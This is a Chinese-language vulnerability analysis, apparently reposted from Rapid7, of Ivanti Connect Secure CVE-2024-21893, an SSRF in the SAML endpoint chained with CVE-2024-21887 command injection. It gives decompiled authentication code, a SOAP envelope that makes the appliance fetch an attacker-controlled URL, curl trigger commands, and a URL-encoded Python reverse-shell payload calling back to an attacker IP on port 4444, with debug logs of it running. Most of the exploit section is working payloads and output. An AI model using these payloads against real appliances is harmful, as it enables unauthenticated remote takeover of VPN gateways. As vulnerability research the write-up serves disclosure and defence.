01
概述
2024 年 1 月 31 日,Ivanti 披露了 CVE-2024-21893,影响了 Ivanti Connect Secure 和 Ivanti Policy Secure。该漏洞被描述为设备的安全断言标记语言 (SAML) 组件中的服务器端请求伪造 (SSRF) 问题。
Ivanti Connect Secure 设备最近受到多个漏洞的积极利用;身份验证绕过漏洞 (CVE-2023-46805) 已链接到命令注入漏洞(CVE-2024-21887),使攻击者能够执行未经身份验证的远程代码。我们在 Rapid7 analysis2024 年 1 月 12 日发布的 Rapid7 分析详细介绍了这些漏洞。为了解决这两个漏洞,Ivanti 发布了一个缓解文件,成功阻止了漏洞利用链的运行。在发布第一个缓解措施时,Ivanti 尚未针对这些问题发布任何官方补丁。
随着 2024 年 1 月 31 日发布 SSRF 漏洞 CVE-2024-21893,Ivanti 和 Mandiant都表示,威胁行为者开发了一种新技术来绕过 Ivanti 对初始漏洞利用链的原始缓解措施。此绕过技术为 CVE-2024-21893。Ivanti 发布了第二个缓解措施,以防止两个漏洞利用链正常工作。
自 2024 年 2 月 1 日起,Ivanti 已开始发布官方补丁,以解决两个漏洞利用链中使用的所有漏洞。 注意:Rapid7 研究已证实,Ivanti 的第二个缓解措施成功阻止了本分析中描述的漏洞利用链。
本分析详细介绍了我们认为是 CVE-2024-21893 的内容,这是 Ivanti Connect Secure 的 SAML 组件中的一个SSRF 漏洞,可用于成功绕过 CVE-2023-46805 和 CVE-2024-21887 漏洞利用链的原始缓解措施。我们的分析针对 Ivanti Connect Secure 22.3R1,而可用的最新版本是 22.5R2.2。
我们建议您阅读我们的 Rapid7 分析,了解原始漏洞的背景信息,以及 Ivanti Connect Secure 如何处理请求和身份验证。
02
如何访问 SAML 服务器
在研究身份验证绕过漏洞 CVE-2023-46805 时,我们发现身份验证是通过函数进行的 doAuthCheck
在 HTTP Web 服务器二进制文件中 /root/home/bin/web
。在新的 SAML 漏洞的上下文中查看此漏洞时,我们可以注意到端点 /dana-ws/saml20.ws
也不需要身份验证。
if( !memcmp(uri_path_1,"/dana-na/",9u)
|| !memcmp(a1->uri_path,"/dana-cached/setup/",0x13u)
|| !memcmp(a1->uri_path,"/dana-cached/sc/",0x10u)
|| !strncmp(uri_path1,"/dana-cached/hc/",0x10u)
|| !strncmp(uri_path1,"/dana-cached/cc/",0x10u)
|| !strncmp(uri_path1,"/dana-cached/ep/",0x10u)
|| !strncmp(uri_path1,"/dana-cached/psal/",0x12u)
|| !strncmp(uri_path1,"/dana-cached/remediation/",0x19u)
|| !strncmp(uri_path1,"/dana-ws/saml20.ws",0x12u)// <--- No auth for this SAML endpoint
|| !strncmp(uri_path1,"/dana-ws/samlecp.ws",0x13u)
|| !strncmp(uri_path1,"/adfs/ls",8u)
|| !strncmp(uri_path1,"/api/v1/profiler/",0x11u)
|| !strncmp(uri_path1,"/api/v1/cav/client/",0x13u) &&strncmp(uri_path1,"/api/v1/cav/client/auth_token",0x1Du) )
{
return1;
}
v18 = (constvoid*)getDevice(a1->dwordC);
if( (unsigned__int8)sub_873D0(a1->uri_path, v18) )
return1;
uri_path = a1->uri_path;
if( !strncmp((constchar*)uri_path,"/api/v1/ueba/",0xDu)
|| !strncmp((constchar*)uri_path,"/api/v1/integration/",0x14u)
|| !strncmp((constchar*)uri_path,"/api/v1/dsintegration",0x15u)
|| !strncmp((constchar*)uri_path,"/api/v1/pps/action/",0x13u)
|| !strncmp((constchar*)uri_path,"/api/my-session",0xFu)
|| !strncmp((constchar*)uri_path,"/api/v1/totp/user-backup-code",0x1Du)// <--- No auth check for the endpoint in the original exploit chain,CVE-2023-46805
|| !strncmp((constchar*)uri_path,"/api/v1/esapdata",0x10u)
|| !strncmp((constchar*)uri_path,"/api/v1/sessions",0x10u)
|| !strncmp((constchar*)uri_path,"/api/v1/tasks",0xDu)
|| !strncmp((constchar*)uri_path,"/api/v1/gateways",0x10u)
|| !strncmp((constchar*)uri_path,"/_/api/aaa",0xAu)
|| !strncmp((constchar*)uri_path,"/api/v1/oidc",0xCu) )
{
return1;
}
Web 服务器的功能 doDispatchRequest
将为端点调度未经身份验证的 HTTP POST 请求 /dana-ws/saml.ws
, /dana-ws/saml20.ws
和 /dana-ws/samlecp.ws
到名为 saml-server
通过 Web 服务器的 DSWSSAMLHandler
类。这些请求旨在为基于 SOAP 的 SAML 请求提供服务。
if( !strncmp(v33,"/dana-ws/saml.ws",0x10u)
|| !strncmp(v33,"/dana-ws/saml20.ws",0x12u)// <--- our unauthenticated path
|| !strncmp(v33,"/dana-ws/samlecp.ws",0x13u) )
{
if( !byte_13EBE0 && __cxa_guard_acquire((__guard *)&byte_13EBE0))
{
v37 ="Watchdog";
if( !*((_BYTE *)a1 +240) )
v37 ="WebRequest";
dword_13EC54 = DSGetStatementCounter("request.cc",5283,"doDispatchRequest", v37,10,"Dispatching to SAML");
__cxa_guard_release((__guard *)&byte_13EBE0);
}
++*(_QWORD *)dword_13EC54;
if( DSLog::Debug::isOn(v76) )
{
v34 ="Watchdog";
if( !*((_BYTE *)a1 +240) )
v34 ="WebRequest";
DSLog::Debug::Write(
(DSLog::Debug *)v34,
&byte_9[1],
(int)"request.cc",
(constchar*)&elf_gnu_hash_chain[440] +3,
(int)"Dispatching to SAML",
v92);
}
DSCockpitCounter::updateCounter(0,1);
if( !byte_13EBE8 && __cxa_guard_acquire((__guard *)&byte_13EBE8))
{
dword_13EC50 = DSGetStatementCounter(
"request.cc",
5285,
"doDispatchRequest",
"WebRequest",
60,
"DSCockpitCounter Webhits Incremented");
__cxa_guard_release((__guard *)&byte_13EBE8);
}
++*(_QWORD *)dword_13EC50;
if( DSLog::Debug::isOn(v77) )
DSLog::Debug::Write(
(DSLog::Debug *)"WebRequest",
off_3C,
(int)"request.cc",
(constchar*)&elf_gnu_hash_chain[441] +1,
(int)"DSCockpitCounter Webhits Incremented",
v92);
DSCockpitCounter::updateCounter(4,1);
returnsub_86980((int)a1) !=0;// <--- dispatch to saml-server via DSWSSAMLHandler
}
这 saml-server
二进制文件位于 /home/bin/saml-server
并负责所有 SAML 操作,包括 SOAP 请求。函数 SoapHandler
将尝试通过函数将传入的 HTTP POST 请求的内容数据转换为 XML 对象 createXMLObjectFromSoapMessage
。此函数将调用库 xmltooling
用于所有 XML 处理。
我们可以注意到,版本 xmltooling
正在使用的是 3.0.2,这是几个过时的版本。在线搜索 SSRF 漏洞 xmltooling
库发现 CVE-2023-36661,一个通过构建的 KeyInfo
元素 xmltooling
影响 3.2.4 之前的所有版本的库。供应商 Shibboleth 发布了一份公告于 2023 年 6 月 12 日
鉴于我们可以使用未经身份验证的 HTTP 请求访问 SAML 服务器,并且可以提供任意 XML 数据供易受攻击者处理 xmltooling
使用的库 saml-server
,这似乎很可能是标识为 CVE-2024-21893 的 SSRF 漏洞,用于绕过 Ivanti 的第一个缓解措施。
03
触发 SSRF
为了触发 SSRF 漏洞,我们提供了一个 XML SOAP 信封。SOAP信封内是一个签名,将由 xmltooling
。签名包含一个 KeyInfo
具有子项的元素 RetrievalMethod
元素。这 RetrievalMethod
element 有一个名为 URI
。此属性允许我们指定一个任意 URI,该函数 XMLToolingFIPS.XMLObject.Signature
将用于通过 HTTP GET 请求请求远程资源,从而为攻击者提供 SSRF 漏洞利用原语。
例如,执行 SSRF 并制作 saml-server
对我们控制的机器执行 HTTP 请求(在下面的示例中为 192.168.86.35),可以使用以下 SOAP 信封(我们将下面的 XML 保存到名为post_data.xml 的文件中)。
<soap:Envelopexmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethodAlgorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethodAlgorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>qwerty</ds:SignatureValue>
<ds:KeyInfoxmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig"xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethodURI="http://192.168.86.35:4444/hack%20the%20planet"/>
<ds:X509Data/>
</ds:KeyInfo>
<ds:Object></ds:Object>
</ds:Signature>
</soap:Body>
</soap:Envelope>
然后,我们可以通过向 Ivanti Connect Secure 设备发出简单的 cURL 请求(以下示例中为 192.168.86.111)来触发SSRF:
curl -ik -X POST -H "Content-Type: text/xml" --data .xml https://192.168.86.111/dana-ws/saml20.ws
最后,我们机器上的 netcat 侦听器可用于接收服务器的 HTTP GET 请求。我们可以注意到,我们还控制 GET 查询,允许我们在 SSRF 期间提供任意 GET 查询字符串。当我们利用 SSRF 进行远程代码执行时,这一点很重要。
04
将 SSRF 链接到 CVE-2024-21887 以进行未经身份验证的 RCE
知道我们可以利用未经身份验证的 SSRF 漏洞来执行任意 HTTP GET 请求,因此我们可以将其链接到 CVE-2024-21887 中的一个命令注入漏洞(Ivanti 选择在单个 CVE 中解决多个命令注入漏洞,这不被视为最佳实践。为清楚起见,应最好地为每个漏洞分配一个唯一的 CVE 标识符。
中所详述 正如我们最初的 Rapid7 分析 的,命令注入漏洞存在于 /api/v1/license/keys-status
端点,并且可通过单个 HTTP GET 请求访问。在分析过程中,我们了解到为 /api/v1/license/keys-status
终结点侦听本地绑定的端口 8090。因此,我们可以通过 HTTP GET 请求来利用此命令注入来 http://127.0.0.1:8090/api/v1/license/keys-status
如果 HTTP GET 请求发生在设备本身上,例如通过 SSRF 漏洞。由于身份验证是由前端 Web 服务器而不是后端服务执行的,因此不需要身份验证。这使我们能够利用 SSRF 漏洞绕过 Ivanti 的原始缓解措施,该缓解措施在前端 Web 服务器中施加了过滤限制。
为了利用 CVE-2024-21887,我们按如下方式修改 SSRF URI。这将触发命令注入,并将基于 Python 的反向 shell 有效负载运行回攻击者计算机。
http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
我们的 XML SOAP Payload如下所示:
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>qwerty</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
<ds:X509Data/>
</ds:KeyInfo>
<ds:Object></ds:Object>
</ds:Signature>
</soap:Body>
</soap:Envelope>
然后,我们可以触发 SSRF 漏洞,进而触发命令注入漏洞,进而执行我们的反向 shell 有效负载。
curl -ik -X POST -H "Content-Type: text/xml" --data .xml https://192.168.86.111/dana-ws/saml20.ws
如果我们在设备上启用调试日志记录,我们可以看到 saml-server
处理传入的 XML 数据并执行 SSRF 请求 127.0.0.1:8090
。调试日志将位于 /data/var/dlogs/debuglog
。
2024/02/02 09:37:41.758224 saml-server(30183) vc0 10 saml soap.cc:724 - DSSAMLHandler,Received SAML SOAP request:
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>blah</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig"
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
<ds:X509Data/>
</ds:KeyInfo><ds:Object></ds:Object></ds:Signature></soap:Body></soap:Envelope> from client 192.168.86.35
2024/02/02 09:37:41.758229 saml-server(30183) vc0 10 saml samlprofile.cc:35 - SAMLProfile::createXMLObjectFromSoapMessage
2024/02/02 09:37:41.758233 saml-server(30183) vc0 10 saml samlprofile.cc:36 - SOAP Message --> <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>blah</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig"
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
<ds:X509Data/>
</ds:KeyInfo><ds:Object></ds:Object></ds:Signature></soap:Body></soap:Envelope>
2024/02/02 09:37:41.758361 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG getBuilder: located XMLObjectBuilder for element name: soap:Envelope
2024/02/02 09:37:41.758391 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall: unmarshalling DOM element (soap:Envelope)
2024/02/02 09:37:41.758407 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallAttributes: unmarshalling attributes for DOM element (soap:Envelope)
2024/02/02 09:37:41.758413 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallAttributes: found namespace declaration, adding it to the list of namespaces on the XMLObject
2024/02/02 09:37:41.758420 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent: unmarshalling child nodes of DOM element (soap:Envelope)
2024/02/02 09:37:41.758443 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG unmarshall unmarshallContent getBuilder: located XMLObjectBuilder for element name: soap:Body
2024/02/02 09:37:41.758450 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent: unmarshalling child element (soap:Body)
2024/02/02 09:37:41.758458 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall: unmarshalling DOM element (soap:Body)
2024/02/02 09:37:41.758465 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling child nodes of DOM element (soap:Body)
2024/02/02 09:37:41.758474 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG unmarshall unmarshallContent unmarshall unmarshallContent getBuilder: located XMLObjectBuilder for element name: ds:Signature
2024/02/02 09:37:41.758480 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling child element (ds:Signature)
2024/02/02 09:37:41.758500 saml-server(30183) vc0 20 saml main.cc:313 - XMLToolingFIPS.XMLObject.Signature DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling ds:Signature
2024/02/02 09:37:41.758559 saml-server(30183) vc0 10 DSPreload::DNS::gethostbyname dns.cc:46 - name=127.0.0.1
2024/02/02 09:37:41.758564 saml-server(30183) vc0 10 DSPreload::DNS::gethostbyname dns.cc:92 - name=127.0.0.1 has 1 hits
2024/02/02 09:37:41.758569 saml-server(30183) vc0 5 DSPreload::DNS::gethostbyname dns.cc:96 - hit 0 = 127.0.0.1
2024/02/02 09:37:41.758578 saml-server(30183) vc0 1 DSPreload::Net net.cc:424 - rebind: connect AF_INET to dest = 127.0.0.1:8090
鉴于 saml-server
由弱势群体处理 xmltooling
库,则很可能可以利用其他 SAML 端点来执行 SSRF。一些 CGI 脚本还执行 SAML 处理,例如 /dana-na/auth/saml-sso.cgi
和 /dana-na/auth/saml-logout.cgi
。
我们已经验证,Ivanti 新增的第二个缓解措施成功阻止了本分析中描述的漏洞利用链。
原文始发于微信公众号(阿呆攻防):1day|Ivanti Policy SSRF(CVE-2024-021893)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论